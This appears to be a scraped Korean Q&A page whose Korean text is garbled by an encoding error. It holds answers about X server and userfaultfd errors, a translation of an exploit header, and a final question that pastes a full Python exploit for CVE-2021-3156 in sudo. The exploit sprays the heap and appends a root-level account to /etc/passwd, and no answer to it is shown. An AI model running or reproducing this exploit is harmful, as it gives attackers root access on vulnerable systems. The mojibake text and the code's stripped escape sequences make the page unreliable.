Skip to content
๐Ÿค”prompts chat๐Ÿง 
๐Ÿ”
question:์•„๋ž˜๋Š” ๋ญ”๊ฐ€์š”? (EE) Fatal server error: (EE) PAM authentication failed, cannot start X server. Perhaps you do not have console ownership? (EE) (EE) Please consult the CentOS support at http://wiki.centos.org/Documentation for help. (EE)

answer:์ด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” X ์„œ๋ฒ„(Xorg)๊ฐ€ ์‹œ์ž‘ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค. ์ฃผ์š” ๋‚ด์šฉ์€ PAM(Puggable Authentication Modules)์„ ํ†ตํ•œ ์ธ์ฆ์ด ์‹คํŒจํ–ˆ์œผ๋ฉฐ, ๊ทธ ๊ฒฐ๊ณผ๋กœ X ์„œ๋ฒ„๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜ ์—†๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€์—์„œ ์ œ์•ˆํ•˜๋Š” ํ•˜๋‚˜์˜ ๊ฐ€๋Šฅํ•œ ์›์ธ์€ ํ˜„์žฌ ์‚ฌ์šฉ์ž๊ฐ€ ์ฝ˜์†” ์†Œ์œ ๊ถŒ์„ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. X ์„œ๋ฒ„๋Š” Linux ๋ฐ UNIX ์‹œ์Šคํ…œ์—์„œ ๊ทธ๋ž˜ํ”ฝ ๋””์Šคํ”Œ๋ ˆ์ด๋ฅผ ์ œ๊ณตํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด์˜ ํ•ต์‹ฌ ๋ถ€๋ถ„์ž…๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ๊ทธ๋ž˜ํ”ฝ ํ™˜๊ฒฝ์„ ์‹œ์ž‘ํ•  ๋•Œ ์ •์ƒ์ ์œผ๋กœ ์ž‘๋™ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. PAM์€ ์‹œ์Šคํ…œ์˜ ์ธ์ฆ ๊ณผ์ •์„ ๊ด€๋ฆฌํ•˜๋Š” ๋ชจ๋“ˆ๋กœ, ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ, sudo ๊ถŒํ•œ ํš๋“ ๋“ฑ ๋‹ค์–‘ํ•œ ์ธ์ฆ ์ ˆ์ฐจ์—์„œ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์˜ค๋ฅ˜๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช‡ ๊ฐ€์ง€ ์ ‘๊ทผ ๋ฐฉ๋ฒ•์„ ๊ณ ๋ คํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: 1. **์ฝ˜์†” ์†Œ์œ ๊ถŒ ํ™•์ธ**: ์ด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” ์ข…์ข… ์‚ฌ์šฉ์ž๊ฐ€ ๋ฌผ๋ฆฌ์  ๋˜๋Š” ๊ฐ€์ƒ ์ฝ˜์†”์˜ ์†Œ์œ ์ž๊ฐ€ ์•„๋‹ ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. GUI๋ฅผ ์‹œ์ž‘ํ•˜๊ธฐ ์ „์— ์ ์ ˆํ•œ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์„ ๊ฐ–๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. `startx`์™€ ๊ฐ™์€ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ X๋ฅผ ์‹œ์ž‘ํ•  ๋•Œ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฌผ๋ฆฌ ์ฝ˜์†”์—์„œ ํ•ด๋‹น ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. 2. **PAM ๊ตฌ์„ฑ ํ™•์ธ**: `/etc/pam.d` ๋””๋ ‰ํ† ๋ฆฌ์— ์žˆ๋Š” ๊ด€๋ จ PAM ๊ตฌ์„ฑ ํŒŒ์ผ๋“ค์„ ๊ฒ€ํ† ํ•ฉ๋‹ˆ๋‹ค. X ์„œ๋ฒ„๋‚˜ ๊ด€๋ จ ์„œ๋น„์Šค ์‹œ์ž‘์— ํ•„์š”ํ•œ ์ธ์ฆ ๊ณผ์ •์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„ค์ •๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ํ•˜์ง€๋งŒ, PAM ๊ตฌ์„ฑ์€ ๋งค์šฐ ๋ณต์žกํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๋ณ€๊ฒฝํ•˜๊ธฐ ์ „์— ๋ฐ˜๋“œ์‹œ ๊ธฐ์กด ์„ค์ •์„ ๋ฐฑ์—…ํ•˜๊ณ  PAM์˜ ์ •ํ™•ํ•œ ์ž‘๋™ ๋ฐฉ์‹์„ ์ดํ•ดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. 3. **๋กœ๊ทธ ํŒŒ์ผ ํ™•์ธ**: Xorg์™€ ๊ด€๋ จ๋œ ๋กœ๊ทธ ํŒŒ์ผ(`/var/log/Xorg.0.log`) ๋˜๋Š” ์‹œ์Šคํ…œ ๋กœ๊ทธ ํŒŒ์ผ(`/var/log/syslog`, `/var/log/messages`)์„ ํ™•์ธํ•˜์—ฌ ๊ตฌ์ฒด์ ์ธ ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋‚˜ ๊ฒฝ๊ณ ๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋Š” ๋ฌธ์ œ์˜ ๊ทผ๋ณธ ์›์ธ์„ ํŒŒ์•…ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 4. **์‹œ์Šคํ…œ ์ •์ฑ… ํ™•์ธ**: SELinux ๋˜๋Š” AppArmor์™€ ๊ฐ™์€ ๋ณด์•ˆ ๋ชจ๋“ˆ์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์„ ๊ฒฝ์šฐ, ์ด๋“ค์ด X ์„œ๋ฒ„์˜ ์‹œ์ž‘์„ ๋ฐฉํ•ดํ•˜์ง€ ์•Š๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ๋•Œ๋•Œ๋กœ ์ด๋Ÿฌํ•œ ๋ณด์•ˆ ์ •์ฑ…์ด ์ธ์ฆ ๊ณผ์ • ๋˜๋Š” ์„œ๋น„์Šค ์‹œ์ž‘์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 5. **CentOS ์ง€์› ๋ฐ ์ปค๋ฎค๋‹ˆํ‹ฐ ์ฐธ์กฐ**: ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ์ œ์•ˆํ•˜๋Š” ๋Œ€๋กœ, ๋ฌธ์ œ ํ•ด๊ฒฐ์„ ์œ„ํ•ด CentOS ๊ณต์‹ ๋ฌธ์„œ๋‚˜ ์ปค๋ฎค๋‹ˆํ‹ฐ ํฌ๋Ÿผ ๋ฐ ์œ„ํ‚ค๋ฅผ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ž์›์€ ๋น„์Šทํ•œ ๋ฌธ์ œ๋ฅผ ๊ฒช์—ˆ๋˜ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋“ค์˜ ๊ฒฝํ—˜๊ณผ ํ•ด๊ฒฐ์ฑ…์„ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋‹จ๊ณ„๋“ค์„ ํ†ตํ•ด ๋ฌธ์ œ์˜ ์›์ธ์„ ํŒŒ์•…ํ•˜๊ณ  ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๊ธฐ๋ฅผ ๋ฐ”๋ž๋‹ˆ๋‹ค. ๋ฌธ์ œ๊ฐ€ ๊ณ„์†๋˜๋ฉด, ๊ตฌ์ฒด์ ์ธ ์‹œ์Šคํ…œ ์„ค์ •๊ณผ ํ™˜๊ฒฝ, ๊ทธ๋ฆฌ๊ณ  ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ–ˆ๋˜ ์ž‘์—…์˜ ์„ธ๋ถ€ ์‚ฌํ•ญ์„ ๋ฌธ์ œ ๋ณด๊ณ  ์‹œ ํฌํ•จ์‹œํ‚ค๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

question:์•„๋ž˜๋Š” ์–ด๋–ค ์—๋Ÿฌ์ธ๊ฐ€์š”? userfaultfd: Function not implemented

answer:`userfaultfd: Function not implemented` ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” `userfaultfd` ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ์‹œ๋„ํ–ˆ์œผ๋‚˜, ํ•ด๋‹น ํ•จ์ˆ˜๊ฐ€ ํ˜„์žฌ ์‚ฌ์šฉ ์ค‘์ธ ์ปค๋„์—์„œ ๊ตฌํ˜„๋˜์–ด ์žˆ์ง€ ์•Š์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. `userfaultfd`๋Š” Linux ์ปค๋„ 4.3 ์ด์ƒ์—์„œ ๋„์ž…๋œ ๊ธฐ๋Šฅ์œผ๋กœ, ์‚ฌ์šฉ์ž ๊ณต๊ฐ„์—์„œ ํŽ˜์ด์ง€ ํดํŠธ(page faults)๋ฅผ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๋งค์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ ์ฃผ๋กœ ๋ฉ”๋ชจ๋ฆฌ ๊ด€๋ฆฌ๋ฅผ ์ตœ์ ํ™”ํ•˜๊ฑฐ๋‚˜, ๊ฐ€์ƒ ๋จธ์‹  ๋ฐ ์ปจํ…Œ์ด๋„ˆ์™€ ๊ฐ™์€ ๊ณ ๊ธ‰ ๊ธฐ๋Šฅ์„ ๊ตฌํ˜„ํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ์ฃผ๋œ ์›์ธ์€ ๋‘ ๊ฐ€์ง€์ž…๋‹ˆ๋‹ค: 1. **๊ตฌํ˜• ์ปค๋„ ์‚ฌ์šฉ**: ์‹œ์Šคํ…œ์ด `userfaultfd`๋ฅผ ์ง€์›ํ•˜๋Š” ์ตœ์†Œ ์ปค๋„ ๋ฒ„์ „(4.3)๋ณด๋‹ค ์˜ค๋ž˜๋œ ๋ฒ„์ „์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ด ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ, ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋Š” ํ•ด๋‹น ๊ธฐ๋Šฅ์ด ์ปค๋„์— ๊ตฌํ˜„๋˜์ง€ ์•Š์•˜์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. 2. **์ปค๋„ ๊ตฌ์„ฑ ๋ฌธ์ œ**: ์‹ฌ์ง€์–ด ์ง€์› ๊ฐ€๋Šฅํ•œ ์ปค๋„ ๋ฒ„์ „์„ ์‚ฌ์šฉ ์ค‘์ด๋ผ ํ• ์ง€๋ผ๋„, `userfaultfd` ๊ธฐ๋Šฅ์ด ํŠน์ • ์ปค๋„ ๊ตฌ์„ฑ ์˜ต์…˜์„ ํ†ตํ•ด ๋น„ํ™œ์„ฑํ™”๋˜์—ˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ปค๋„์„ ์ปดํŒŒ์ผํ•  ๋•Œ ๋ชจ๋“  ๊ธฐ๋Šฅ์ด ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š” ๊ฒƒ์€ ์•„๋‹ˆ๋ฉฐ, `userfaultfd`๋Š” ํ•„์š”์— ๋”ฐ๋ผ ๋ช…์‹œ์ ์œผ๋กœ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์˜ค๋ฅ˜๋ฅผ ํ•ด๊ฒฐํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: - **์ปค๋„ ์—…๊ทธ๋ ˆ์ด๋“œ**: ์‚ฌ์šฉ ์ค‘์ธ ์‹œ์Šคํ…œ์˜ ์ปค๋„์„ Linux 4.3 ์ด์ƒ์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•ฉ๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ์ตœ์‹  Linux ๋ฐฐํฌํŒ์€ ์ด๋ฏธ ์ด ๋ฒ„์ „ ์ด์ƒ์˜ ์ปค๋„์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์œผ๋ฏ€๋กœ, ์‹œ์Šคํ…œ์„ ์ตœ์‹  ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ์ถฉ๋ถ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - **์ปค๋„ ๊ตฌ์„ฑ ๊ฒ€ํ† **: ์‚ฌ์šฉ ์ค‘์ธ ์ปค๋„์ด ์ด๋ฏธ `userfaultfd`๋ฅผ ์ง€์›ํ•˜๋Š” ๋ฒ„์ „์ด๋ผ๋ฉด, ์ปค๋„์ด ํ•ด๋‹น ๊ธฐ๋Šฅ์„ ์ง€์›ํ•˜๋„๋ก ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ปค๋„ ์†Œ์Šค ์ฝ”๋“œ์˜ `.config` ํŒŒ์ผ์ด๋‚˜ ์‹œ์Šคํ…œ์˜ `/boot/config-(uname -r)` ํŒŒ์ผ์—์„œ ํ•ด๋‹น ์˜ต์…˜์„ ๊ฒ€์ƒ‰ํ•จ์œผ๋กœ์จ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ํ•„์š”ํ•œ ๊ฒฝ์šฐ ์ปค๋„์„ ๋‹ค์‹œ ๊ตฌ์„ฑํ•˜๊ณ  `userfaultfd` ์ง€์›์„ ํ™œ์„ฑํ™”ํ•œ ํ›„ ์ปค๋„์„ ์žฌ์ปดํŒŒ์ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. `userfaultfd` ๊ธฐ๋Šฅ์€ ๊ณ ๊ธ‰ ์‚ฌ์šฉ์ž ๋˜๋Š” ๊ฐœ๋ฐœ์ž๊ฐ€ ํŠน๋ณ„ํ•œ ์œ ํ˜•์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ž‘์„ฑํ•  ๋•Œ ์ฃผ๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ผ๋ฐ˜์ ์ธ ์‚ฌ์šฉ ์ƒํ™ฉ์—์„œ ์ด ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ๋‚˜ํƒ€๋‚˜๋Š” ๊ฒฝ์šฐ๋Š” ๋“œ๋ญ…๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์ด ๊ธฐ๋Šฅ์ด ํ•„์š”ํ•œ ์ƒํ™ฉ์—์„œ ์ด ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค๋ฉด, ์œ„์˜ ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•์„ ๋”ฐ๋ผ ์‹œ์Šคํ…œ ํ™˜๊ฒฝ์„ ์กฐ์ •ํ•ด์•ผ ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

question:์•„๋ž˜ ์˜์–ด๋ฅผ ํ•œ๊ธ€๋กœ ๋ฒˆ์—ญํ•ด์ฃผ์„ธ์š”. ''' Exploit for CVE-2021-3156 with struct userspec overwrite by sleepya This exploit requires: - glibc without tcache - sudo version 1.8.9-1.8.23 (inclusive) - patient (and luck). Bruteforcing might take time (almost instant to >10 mins) Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing Without glibc tcache, a heap layout rarely contains hole. The heap overflow vulnerability is triggered after parsing /etc/sudoers. The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec). Tested on: - CentOS 7 (1.8.23) - Ubuntu 16.04.1 - Debian 9 - Fedora 25 sudo version related info: v1.8.9 - change tq_pop to tailq_list v1.8.11 - move fatal callbacks to util. so cleanup is called correctly v1.8.19 - add line, file to userspec (chunk size 0x50) v1.8.20 - add timeout to cmndspec - add notbefore and notafter to cmndspec v1.8.21 - move timeout in cmndspec to avoid padding (layout is changed) v1.8.23 - add comments to userspec struct (chunk size 0x60) - add ldap field in privileges chunk v1.8.24 - add free_userpsecs() and free_defaults() with TAILQ_FIRST/TAILQ_REMOVE '''

answer:''' sleepya์— ์˜ํ•œ CVE-2021-3156 ์ทจ์•ฝ์ ์„ ์ด์šฉํ•œ ๊ณต๊ฒฉ ์ฝ”๋“œ๋กœ, struct userspec์„ overwriteํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ ์ฝ”๋“œ๋Š” ๋‹ค์Œ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค: - tcache๊ฐ€ ์—†๋Š” glibc - sudo ๋ฒ„์ „ 1.8.9๋ถ€ํ„ฐ 1.8.23(ํฌํ•จ) - ์ธ๋‚ด์‹ฌ(๊ทธ๋ฆฌ๊ณ  ์šด). ๋ธŒ๋ฃจํŠธํฌ์‹ฑ์€ ์‹œ๊ฐ„์ด ๊ฑธ๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๊ฑฐ์˜ ์ฆ‰์‹œ์—์„œ 10๋ถ„ ์ด์ƒ). ์ฐธ๊ณ : ๋ธŒ๋ฃจํŠธํฌ์‹ฑ์„ ๊ธฐ๋‹ค๋ฆฌ๊ณ  ์‹ถ์ง€ ์•Š๋‹ค๋ฉด ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ASLR์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์„ธ์š”. tcache๊ฐ€ ์—†๋Š” glibc์—์„œ๋Š” ํž™ ๋ ˆ์ด์•„์›ƒ์— ๊ตฌ๋ฉ์ด ๊ฑฐ์˜ ๋“œ๋ฌผ๊ฒŒ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ํž™ ์˜ค๋ฒ„ํ”Œ๋กœ ์ทจ์•ฝ์ ์€ /etc/sudoers ํŒŒ์‹ฑ ํ›„์— ๋ฐœ๋™๋ฉ๋‹ˆ๋‹ค. ํŒŒ์‹ฑ ๊ณผ์ •์€ ํ•ญ์ƒ ํฐ ๊ตฌ๋ฉ์„ ํŒจ์‹ฑ๋œ ๋ฐ์ดํ„ฐ(๊ตฌ์กฐ์ฒด defaults, ๊ตฌ์กฐ์ฒด userspec) ์•ž์— ๋‚จ๊น๋‹ˆ๋‹ค. ํ…Œ์ŠคํŠธ๋œ ํ™˜๊ฒฝ: - CentOS 7 (1.8.23) - Ubuntu 16.04.1 - Debian 9 - Fedora 25 sudo ๋ฒ„์ „ ๊ด€๋ จ ์ •๋ณด: v1.8.9 - tq_pop์„ tailq_list๋กœ ๋ณ€๊ฒฝ v1.8.11 - ์น˜๋ช…์ ์ธ ์ฝœ๋ฐฑ์„ util๋กœ ์˜ฎ๊น€. ๊ทธ๋ž˜์„œ ์ •๋ฆฌ๊ฐ€ ์ œ๋Œ€๋กœ ํ˜ธ์ถœ๋จ v1.8.19 - userspec์— ์ค„, ํŒŒ์ผ ์ถ”๊ฐ€ (์ฒญํฌ ์‚ฌ์ด์ฆˆ 0x50) v1.8.20 - cmndspec์— ํƒ€์ž„์•„์›ƒ ์ถ”๊ฐ€ - cmndspec์— notbefore์™€ notafter ์ถ”๊ฐ€ v1.8.21 - cmndspec์˜ ํƒ€์ž„์•„์›ƒ์„ ํŒจ๋”ฉ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์ด๋™ (๋ ˆ์ด์•„์›ƒ์ด ๋ณ€๊ฒฝ๋จ) v1.8.23 - userspec ๊ตฌ์กฐ์ฒด์— ์ฃผ์„ ์ถ”๊ฐ€ (์ฒญํฌ ์‚ฌ์ด์ฆˆ 0x60) - privileges ์ฒญํฌ์— ldap ํ•„๋“œ ์ถ”๊ฐ€ v1.8.24 - TAILQ_FIRST/TAILQ_REMOVE๋กœ free_userspec()๊ณผ free_defaults() ์ถ”๊ฐ€

question:์•„๋ž˜ ์ฝ”๋“œ๊ฐ€ ์–ด๋–ค ์ž‘์—…์„ ํ•˜๋Š”์ง€ ๊ฐ„๋žตํžˆ ์„ค๋ช…ํ•ด์ฃผ์„ธ์š”. #!/usr/bin/python ''' Exploit for CVE-2021-3156 on CentOS 7 by sleepya Simplified version of exploit_userspec.py for easy understanding. - Remove all checking code - Fixed all offset (no auto finding) Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing ''' import os import sys import resource from struct import pack from ctypes import cdll, c_char_p, POINTER SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit" PASSWD_PATH = '/etc/passwd' APPEND_CONTENT = b"gg:5agemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bashn"; #STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled STACK_ADDR_PAGE = 0x7fffe5d35000 libc = cdll.LoadLibrary("libc.so.6") libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) def execve(filename, cargv, cenvp): libc.execve(filename, cargv, cenvp) def spawn_raw(filename, cargv, cenvp): pid = os.fork() if pid: # parent _, exit_code = os.waitpid(pid, 0) return exit_code else: # child execve(filename, cargv, cenvp) exit(0) def spawn(filename, argv, envp): cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(env))(*env) return spawn_raw(filename, cargv, cenvp) resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) # expect large hole for cmnd size is correct TARGET_CMND_SIZE = 0x1b50 argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"", None ] SA = STACK_ADDR_PAGE ADDR_REFSTR = pack('<Q', SA+0x20) # ref string ADDR_PRIV_PREV = pack('<Q', SA+0x10) ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec ADDR_MEMBER_PREV = pack('<Q', SA+0x20) ADDR_DEF_VAR = pack('<Q', SA+0x10) ADDR_DEF_BINDING = pack('<Q', SA+0x30) OFFSET = 0x30 + 0x20 ADDR_USER = pack('<Q', SA+OFFSET) ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40) ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30) ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60) # for spraying epage = [ 'A'*0x8 + # to not ending with 0x00 # fake def->var chunk (get freed) 'x21', '', '', '', '', '', '', ADDR_PRIV[:6], '', # pointer to privilege ADDR_CMND[:6], '', # pointer to cmndspec ADDR_MEMBER[:6], '', # pointer to member # fake def->binding (list head) (get freed) 'x21', '', '', '', '', '', '', '', '', '', '', '', '', '', '', # members.first 'A'*0x10 + # members.last, pad # userspec chunk (get freed) 'x41', '', '', '', '', '', '', # chunk metadata '', '', '', '', '', '', '', '', # entries.tqe_next 'A'*8 + # entries.tqe_prev '', '', '', '', '', '', '', '', # users.tqh_first ADDR_MEMBER[:6]+'', '', # users.tqh_last '', '', '', '', '', '', '', '', # privileges.tqh_first ADDR_PRIV[:6]+'', '', # privileges.tqh_last '', '', '', '', '', '', '', '', # comments.stqh_first # member chunk 'x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any) 'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any) ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string) 'A'*8 + # member.name (can be any because this object is not freed) pack('<H', 284), '', # type, negated 'A'*0xc+ # padding # cmndspec chunk 'x61'*0x8 + # chunk metadata (need only prev_inuse flag) 'A'*0x8 + # entries.tqe_next ADDR_CMND_PREV[:6], '', # entries.teq_prev '', '', '', '', '', '', '', '', # runasuserlist '', '', '', '', '', '', '', '', # runasgrouplist ADDR_MEMBER[:6], '', # cmnd 'xf9'+'xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter '', '', '', '', '', '', '', '', # role '', '', '', '', '', '', '', '', # type 'A'*8 + # padding # privileges chunk 'x51'*0x8 + # chunk metadata 'A'*0x8 + # entries.tqe_next ADDR_PRIV_PREV[:6], '', # entries.teq_prev 'A'*8 + # ldap_role 'A'*8 + # hostlist.tqh_first ADDR_MEMBER[:6], '', # hostlist.teq_last 'A'*8 + # cmndlist.tqh_first ADDR_CMND[:6], '', # cmndlist.teq_last ] cnt = sum(map(len, epage)) padlen = 4096 - cnt - len(epage) epage.append('P'*(padlen-1)) env = [ "A"*(7+0x4010 + 0x110) + # overwrite until first defaults "x21", "", "", "", "", "", "", "A"*0x18 + # defaults "x41", "", "", "", "", "", "", # chunk size "", "", "", "", "", "", "", "", # next 'a'*8 + # prev ADDR_DEF_VAR[:6]+'', '', # var "", "", "", "", "", "", "", "", # val ADDR_DEF_BINDING[:6]+'', '', # binding ADDR_REFSTR[:6]+'', '', # file "Z"*0x8 + # type, op, error, lineno "x31", "", "", "", "", "", "", # chunk size (just need valid) 'C'*0x638+ # need prev_inuse and overwrite until userspec 'B'*0x1b0+ # userspec chunk # this chunk is not used because list is traversed with curr->prev->prev->next "x61", "", "", "", "", "", "", # chunk size ADDR_USER[:6]+'', '', # entries.tqe_next points to fake userspec in stack "A"*8 + # entries.tqe_prev "", "", "", "", "", "", "", "", # users.tqh_first ADDR_MEMBER[:6]+'', '', # users.tqh_last "", "", "", "", "", "", "", "", # privileges.tqh_first "LC_ALL=C", "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd "TZ=:", ] ENV_STACK_SIZE_MB = 4 for i in range(ENV_STACK_SIZE_MB * 1024 / 4): env.extend(epage) # last element. prepare space for '/usr/bin/sudo' and extra 8 bytes env[-1] = env[-1][:-len(SUDO_PATH)-1-8] env.append(None) cargv = (c_char_p * len(argv))(*argv) cenvp = (c_char_p * len(env))(*env) # write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a" r, w = os.pipe() os.dup2(r, 0) w = os.fdopen(w, 'w') w.write(APPEND_CONTENT) w.close() null_fd = os.open('/dev/null', os.O_RDWR) os.dup2(null_fd, 2) for i in range(8192): sys.stdout.write('%dr' % i) if i % 8 == 0: sys.stdout.flush() exit_code = spawn_raw(SUDO_PATH, cargv, cenvp) if exit_code == 0: print("success at %d" % i) break

